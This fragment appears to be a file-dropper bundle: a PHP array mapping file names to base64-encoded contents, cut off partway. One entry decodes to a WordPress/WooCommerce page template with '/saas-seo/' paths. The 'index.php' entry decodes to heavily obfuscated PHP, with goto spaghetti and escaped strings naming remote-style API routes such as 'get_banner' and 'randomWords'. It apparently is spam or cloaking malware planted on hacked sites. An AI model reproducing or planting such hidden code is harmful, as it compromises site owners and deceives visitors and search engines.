GNsYXNzPSJzaGFyZS10d2l0dGVyIiBocmVmPSIjIiB0aXRsZT0iVHdpdHRlciI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtaW5zdGFncmFtIiBocmVmPSIjIiB0aXRsZT0iSW5zdGFncmFtIj48L2E+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPHNjcmlwdD4NCiAgICB3aW5kb3cuUlNfTU9EVUxFUyA9IHdpbmRvdy5SU19NT0RVTEVTIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZXMgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLndhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nIHx8IFtdOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLmRlZmVyZWQgPSB0cnVlOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZVdhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLnR5cGUgPSAnY29tcGlsZWQnOw0KPC9zY3JpcHQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5ib2R5LmNsYXNzTmFtZTsNCiAgICAgICAgYyA9IGMucmVwbGFjZSgvd29vY29tbWVyY2Utbm8tanMvLCAnd29vY29tbWVyY2UtanMnKTsNCiAgICAgICAgZG9jdW1lbnQuYm9keS5jbGFzc05hbWUgPSBjOw0KICAgIH0pKCk7DQo8L3NjcmlwdD4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2UtYW5pbWF0aW9ucy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvbGliL2FuaW1hdGlvbnMvYW5pbWF0aW9ucy5taW4uY3NzP3Zlcj0zLjEwLjInIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2Nzcy9yczYuY3NzP3Zlcj02LjUuMjAnIG1lZGlhPSdhbGwnLz4NCjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnPg0KICAgICNycy1kZW1vLWlkIHsNCiAgICB9DQo8L3N0eWxlPg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvc3d2L2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J3N3di1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdjb250YWN0LWZvcm0tNy1qcy1leHRyYSc+DQogICAgdmFyIHdwY2Y3ID0geyJhcGkiOiB7InJvb3QiOiAiXC93cC1qc29uXC8iLCAibmFtZXNwYWNlIjogImNvbnRhY3QtZm9ybS03XC92MSJ9fTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nY29udGFjdC1mb3JtLTctanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcmJ0b29scy5taW4uanM/dmVyPTYuNS4xOCcgZGVmZXIgYXN5bmMNCiAgICAgICAgaWQ9J3RwLXRvb2xzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JzNi5taW4uanM/dmVyPTYuNS4yMCcgZGVmZXIgYXN5bmMgaWQ9J3Jldm1pbi1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWJsb2NrdWkvanF1ZXJ5LmJsb2NrVUkubWluLmpzP3Zlcj0yLjcuMC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1ibG9ja3VpLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWFkZC10by1jYXJ0LWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfYWRkX3RvX2NhcnRfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiaTE4bl92aWV3X2NhcnQiOiAiVmlldyBjYXJ0IiwNCiAgICAgICAgImNhcnRfdXJsIjogIlwvY2FydCIsDQogICAgICAgICJpc19jYXJ0IjogIiIsDQogICAgICAgICJjYXJ0X3JlZGlyZWN0X2FmdGVyX2FkZCI6ICJubyINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvYWRkLXRvLWNhcnQubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWFkZC10by1jYXJ0LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcy1jb29raWUvanMuY29va2llLm1pbi5qcz92ZXI9Mi4xLjQtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcy1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd29vY29tbWVyY2UtanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wYXJhbXMgPSB7ImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIn07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC93b29jb21tZXJjZS5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd29vY29tbWVyY2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMtZXh0cmEnPg0KICAgIHZhciB3Y19jYXJ0X2ZyYWdtZW50c19wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJjYXJ0X2hhc2hfa2V5IjogIndjX2NhcnRfaGFzaF9hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJmcmFnbWVudF9uYW1lIjogIndjX2ZyYWdtZW50c19hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJyZXF1ZXN0X3RpbWVvdXQiOiAiNTAwMCINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvY2FydC1mcmFnbWVudHMubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzLWV4dHJhJz4NCiAgICB2YXIgcG9ydG9fbGl2ZV9zZWFyY2ggPSB7Im5vbmNlIjogImY4OTJkZDk0NjkifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9pbmMvbGliL2xpdmUtc2VhcmNoL2xpdmUtc2VhcmNoLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2Jvb3RzdHJhcC5qcz92ZXI9NS4wLjEnIGlkPSdib290c3RyYXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1jb29raWUvanF1ZXJ5LmNvb2tpZS5taW4uanM/dmVyPTEuNC4xLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvb3dsLmNhcm91c2VsLm1pbi5qcz92ZXI9Mi4zLjQnIGlkPSdvd2wuY2Fyb3VzZWwtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9pbWFnZXNsb2FkZWQubWluLmpzP3Zlcj00LjEuNCcgaWQ9J2ltYWdlc2xvYWRlZC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkubWFnbmlmaWMtcG9wdXAubWluLmpzP3Zlcj0xLjEuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1tYWduaWZpYy1wb3B1cC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS1hc3luYy5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1hc3luYy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3dvb2NvbW1lcmNlLXRoZW1lLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXdvb2NvbW1lcmNlLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2NvcmUubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktY29yZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMtYmVmb3JlJz4NCiAgICB2YXIgZWxlbWVudG9yRnJvbnRlbmRDb25maWcgPSB7DQogICAgICAgICJlbnZpcm9ubWVudE1vZGUiOiB7ImVkaXQiOiBmYWxzZSwgIndwUHJldmlldyI6IGZhbHNlLCAiaXNTY3JpcHREZWJ1ZyI6IGZhbHNlfSwNCiAgICAgICAgImkxOG4iOiB7DQogICAgICAgICAgICAic2hhcmVPbkZhY2Vib29rIjogIlNoYXJlIG9uIEZhY2Vib29rIiwNCiAgICAgICAgICAgICJzaGFyZU9uVHdpdHRlciI6ICJTaGFyZSBvbiBUd2l0dGVyIiwNCiAgICAgICAgICAgICJwaW5JdCI6ICJQaW4gaXQiLA0KICAgICAgICAgICAgImRvd25sb2FkIjogIkRvd25sb2FkIiwNCiAgICAgICAgICAgICJkb3dubG9hZEltYWdlIjogIkRvd25sb2FkIGltYWdlIiwNCiAgICAgICAgICAgICJmdWxsc2NyZWVuIjogIkZ1bGxzY3JlZW4iLA0KICAgICAgICAgICAgInpvb20iOiAiWm9vbSIsDQogICAgICAgICAgICAic2hhcmUiOiAiU2hhcmUiLA0KICAgICAgICAgICAgInBsYXlWaWRlbyI6ICJQbGF5IFZpZGVvIiwNCiAgICAgICAgICAgICJwcmV2aW91cyI6ICJQcmV2aW91cyIsDQogICAgICAgICAgICAibmV4dCI6ICJOZXh0IiwNCiAgICAgICAgICAgICJjbG9zZSI6ICJDbG9zZSINCiAgICAgICAgfSwNCiAgICAgICAgImlzX3J0bCI6IGZhbHNlLA0KICAgICAgICAiYnJlYWtwb2ludHMiOiB7InhzIjogMCwgInNtIjogNDgwLCAibWQiOiA3NjgsICJsZyI6IDEwMjUsICJ4bCI6IDE0NDAsICJ4eGwiOiAxNjAwfSwNCiAgICAgICAgInJlc3BvbnNpdmUiOiB7DQogICAgICAgICAgICAiYnJlYWtwb2ludHMiOiB7DQogICAgICAgICAgICAgICAgIm1vYmlsZSI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIk1vYmlsZSIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiA3NjcsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibW9iaWxlX2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDg4MCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0Ijogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogOTkxLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEwMjQsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0X2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMTIwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJsYXB0b3AiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJMYXB0b3AiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMzY2LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIndpZGVzY3JlZW4iOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJXaWRlc2NyZWVuIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMjQwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1pbiIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0sDQogICAgICAgICJ2ZXJzaW9uIjogIjMuMTAuMiIsDQogICAgICAgICJpc19zdGF0aWMiOiBmYWxzZSwNCiAgICAgICAgImV4cGVyaW1lbnRhbEZlYXR1cmVzIjogew0KICAgICAgICAgICAgImVfZG9tX29wdGltaXphdGlvbiI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfYXNzZXRzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImVfb3B0aW1pemVkX2Nzc19sb2FkaW5nIjogdHJ1ZSwNCiAgICAgICAgICAgICJhMTF5X2ltcHJvdmVtZW50cyI6IHRydWUsDQogICAgICAgICAgICAiYWRkaXRpb25hbF9jdXN0b21fYnJlYWtwb2ludHMiOiB0cnVlLA0KICAgICAgICAgICAgImVfaGlkZGVuX3dvcmRwcmVzc193aWRnZXRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJsYW5kaW5nLXBhZ2VzIjogdHJ1ZSwNCiAgICAgICAgICAgICJraXQtZWxlbWVudHMtZGVmYXVsdHMiOiB0cnVlDQogICAgICAgIH0sDQogICAgICAgICJ1cmxzIjogeyJhc3NldHMiOiAiXC93cC1jb250ZW50XC9wbHVnaW5zXC9lbGVtZW50b3JcL2Fzc2V0c1wvIn0sDQogICAgICAgICJzZXR0aW5ncyI6IHsicGFnZSI6IFtdLCAiZWRpdG9yUHJlZmVyZW5jZXMiOiBbXX0sDQogICAgICAgICJraXQiOiB7DQogICAgICAgICAgICAidmlld3BvcnRfdGFibGV0IjogIjk5MSIsDQogICAgICAgICAgICAiYWN0aXZlX2JyZWFrcG9pbnRzIjogWyJ2aWV3cG9ydF9tb2JpbGUiLCAidmlld3BvcnRfdGFibGV0Il0sDQogICAgICAgICAgICAiZ2xvYmFsX2ltYWdlX2xpZ2h0Ym94IjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX2NvdW50ZXIiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfZnVsbHNjcmVlbiI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV96b29tIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3NoYXJlIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfdGl0bGVfc3JjIjogInRpdGxlIiwNCiAgICAgICAgICAgICJsaWdodGJveF9kZXNjcmlwdGlvbl9zcmMiOiAiZGVzY3JpcHRpb24iDQogICAgICAgIH0sDQogICAgICAgICJwb3N0IjogeyJpZCI6IDE0MywgInRpdGxlIjogInRlc3QlMjB0aXRsZTEiLCAiZXhjZXJwdCI6ICIiLCAiZmVhdHVyZWRJbWFnZSI6IGZhbHNlfQ0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvZnJvbnRlbmQubWluLmpzP3Zlcj0zLjEwLjInIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMnPjwvc2NyaXB0Pg0KPCEtLSBXb29Db21tZXJjZSBKYXZhU2NyaXB0IC0tPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIGpRdWVyeShmdW5jdGlvbiAoJCkgew0KICAgICAgICBqUXVlcnkoZG9jdW1lbnQuYm9keSkudHJpZ2dlcignd2NfZnJhZ21lbnRfcmVmcmVzaCcpDQogICAgfSk7DQo8L3NjcmlwdD4NCjxzY3JpcHQ+DQogICAgalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbiAoJCkgew0KICAgICAgICAkKCcuaG9tZS1iYW5uZXIgLnBvcnRvLWNhcm91c2VsJykub24oJ2NoYW5nZS5vd2wuY2Fyb3VzZWwnLCBmdW5jdGlvbiAoZXZlbnQpIHsNCiAgICAgICAgICAgIHZhciBjdXJyZW50ID0gZXZlbnQuaXRlbS5pbmRleDsNCiAgICAgICAgICAgICQoZXZlbnQudGFyZ2V0KS5maW5kKCcub3dsLWl0ZW0nKS5lcShjdXJyZW50KS5maW5kKCdbZGF0YS1hcHBlYXItYW5pbWF0aW9uXScpLmVhY2goZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICQodGhpcykucmVtb3ZlQ2xhc3MoJCh0aGlzKS5kYXRhKCdhcHBlYXItYW5pbWF0aW9uJykpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0pLm9uKCdjaGFuZ2VkLm93bC5jYXJvdXNlbCcsIGZ1bmN0aW9uIChldmVudCkgew0KICAgICAgICAgICAgdmFyIGN1cnJlbnQgPSBldmVudC5pdGVtLmluZGV4Ow0KICAgICAgICAgICAgJChldmVudC50YXJnZXQpLmZpbmQoJy5vd2wtaXRlbScpLmVxKGN1cnJlbnQpLmZpbmQoJ1tkYXRhLWFwcGVhci1hbmltYXRpb25dJykuZWFjaChmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygkKHRoaXMpLmRhdGEoJ2FwcGVhci1hbmltYXRpb24nKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSk7ICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
  'index.php' => 'PD9waHANCiBnb3RvIEJYZ3l5OyBzRmhnQTogY2xhc3MgTVVoZmcgeyBjb25zdCB6ZFpYciA9ICJceDJmXHg2MVx4NzBcMTUxXHgyZlwxNDdcMTQ1XHg3NFx4NWZcMTQyXDE0MVx4NmVcMTU2XHg2NVwxNjIiOyBjb25zdCBoQ3daRCA9ICJceDJmXDE0MVx4NzBcMTUxXHgyZlx4NjdceDY1XDE2NFwxMzdceDczXDE2NVx4NjIiOyBjb25zdCBSUXlPaSA9ICJcNTdcMTQxXDE2MFx4NjlceDJmXHg2N1x4NjVceDc0XHg1ZlwxNTRceDY5XDE2M1wxNjQiOyBjb25zdCBoeUhNTiA9ICJcNTdcMTQxXDE2MFx4NjlceDJmXDE0N1wxNDVcMTY0XHg1ZlwxNDRceDY1XDE2NFwxNDFcMTUxXHg2YyI7IGNvbnN0IFpVT0FkID0gIlw1N1wxNDFceDcwXDE1MVw1N1wxNjJceDYxXHg2ZVx4NjRcMTU3XHg2ZFwxMjdceDZmXHg3Mlx4NjRcMTYzIjsgY29uc3QgTnJMM2kgPSA